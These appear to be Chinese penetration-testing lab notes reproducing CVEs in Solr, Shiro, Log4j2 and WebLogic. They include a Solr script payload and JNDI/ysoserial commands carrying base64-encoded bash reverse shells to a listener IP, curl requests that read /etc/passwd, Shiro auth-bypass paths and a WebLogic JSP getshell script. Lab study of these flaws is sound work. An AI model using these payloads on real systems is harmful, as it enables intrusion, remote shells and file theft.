第82天:服务攻防-开发组件安全&Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现

Java 语言常见开发组件

  • Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam 等

J2EE - 组件 Solr - 本地 demo&CVE

了解

  • 主要基于 HTTP 和 Apache Lucene 实现的全文搜索服务器。
  • 历史漏洞:https://avd.aliyun.com/search?q=Solr
  • 黑盒特征:图标 (有点像华为的那么一个图标) 及默认端口 8383

image-20250829091449454

CVE-2019-17558

image-20250829091329005

1
2
项目地址:https://github.com/jas502n/solr_rce
python2 solr_rce.py http://192.168.159.128:47772 id

image-20250829104226692

CVE-2019-0193

  • Apache Solr < 8.2.0 版本
  • 条件 1:Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler (默认不会被启用)

image-20250829104820209

这个页面有数据,就说明存在漏洞。

  • 条件 2:Solr Admin UI 未开启鉴权认证。(默认情况无需任何认证)

    • 开启后访问上面这个页面需要登录
  • 选择已有核心后选择 Dataimport 功能并选择 debug 模式,更改填入以下 POC,点击 Execute with this Confuguration

  • exec 中即为要执行的命令,注意要看环境,Windows 搭建的肯定执行不了 Linux 的命令,Linux 搭建的肯定也执行不了 Windows 命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

image-20250829142917797

Apache Solr 文件读取 & SSRF (CVE-2021-27905)

漏洞探针:

1
http://10.20.0.19:42219/solr/admin/cores?indexInfo=false&wt=json

image-20250829144523809

若这里返回如下,则无法复现,若正确返回,则可以获取到数据库名称,这里的返回正确,就是页面返回正确不报错。

1
{ "responseHeader":{ "status":0, "QTime":0}, "initFailures":{}, "status":{}}

这里我就复现不了,所以这里理论分析吧~~~

访问触发,将 demo 处替换为第一步获取到的数据库名称

1
2
3
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://10.20.0.19:42219/solr/demo/config'

任意文件读取,将 demo 处替换为第一步获取到的数据库名称

1
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

J2EE - 组件 Shiro - 本地 demo&CVE

  • Java 安全框架,能够用于身份验证、授权、加密和会话管理。
  • 历史漏洞:https://avd.aliyun.com/search?q=Shiro
  • 黑盒特征:数据包 cookie 里面 rememberMe
  • 白盒审计:看调用的shiro库对应版本是否爆过漏洞

面试问题:shiro 有 key 无链,利用项目中有的或者 java 常规自带的链进行构造,无回显只能带外

CVE_2016_4437 Shiro-550+Shiro-721(RCE)

image-20250829145840214

身份认证绕过漏洞

CVE-2020-11989

  • 在进行验证的路径 (即要鉴权的路径) 后面添加 /%20 即可绕过验证
  • Poc:/admin/%20
  • 影响范围:Apache Shiro < 1.7.1

image-20250829150842839

image-20250829150944007

image-20250829151147049

image-20250829151216354

image-20250829151235928

CVE-2020-1957

  • 在进行验证的路径 (即要鉴权的路径) 前面添加 /xxx/..;/ 即可绕过验证
  • Poc:/xxx/..;/admin/
  • 影响范围:Apache Shiro < 1.5.3

CVE-2022-32532

  • Poc: /permit/any
  • /permit/a%0any 可绕过
  • 需要依赖代码具体写法,无法自动化,风险较低。
  • 影响范围:Apache Shiro < 1.9.1

Log4j2 远程命令执行(CVE-2021-44228)

Log4j 是 Java 生态的日志框架,仅可能出现在 Java 开发的应用中。因此,首先判断目标网站是否基于 Java 技术栈:

查看响应头信息

检查 HTTP 响应头中的ServerX-Powered-By等字段,若出现 Java 相关服务器标识,如:

  • Apache TomcatJBossWebLogicJetty(Java 常用应用服务器)
  • Java/1.8.0_xxxJDK等关键词
    则可能是 Java 应用,存在使用 Log4j 的可能性。

检查会话标识

查看 Cookie 中是否存在JSESSIONID(Java Web 应用的标准会话 ID),若存在,大概率是 Java 开发的网站。

错误页面分析

访问不存在的路径(如/invalidpath)或构造错误请求,若返回的错误页面中包含 Java 堆栈信息(如java.lang.Exceptionorg.apache.log4j等关键词),可直接证明使用 Java 技术栈,甚至可能直接暴露 Log4j 相关类。

image-20250829150155413

1
2
3
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjAuMC4zNi83NzQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.20.0.36

#如果这里植入进去,然后jndi也接收到了请求,但是就是没有请求成功,比如我最开始是使用的curl dnslog这样的方式,然后因为我的靶场环境是容器,考虑到容器里面没有curl命令。然后就用反弹shell的命令,然后这里在放到URL上进行传输的时候还要进行URL编码

image-20250829152056086

在传输的时候需要进行URL编码:

image-20250829152118619

image-20250829152134679

weblogic

CVE-2018-2628

getshell项目地址:

1
2
3
4
5
https://github.com/jas502n/CVE-2018-2628

需要使用python2的执行环境。
python CVE-2018-2628-Getshell.py 10.20.0.19 7001 shell1.jsp
#这里需要注意的是这个shell的文件名可以自定义但是,这里shell1.jsp必须要10个字符,才可以写入。

image-20250829185626045

手工RCE

1
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5893 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4wLjM2LzU5ODMgMD4mMQ==}|{base64,-d}|{bash,-i}"

image-20250829190402063

监听对应的端口:

image-20250829190412822

1
python2 cve-2018-2628-exploit.py 10.20.0.19 7001 ysoserial-0.0.8-SNAPSHOT-all.jar 10.20.0.36 5893 JRMPClient

image-20250829191257415

可以看到shell弹回来了:

image-20250829191245902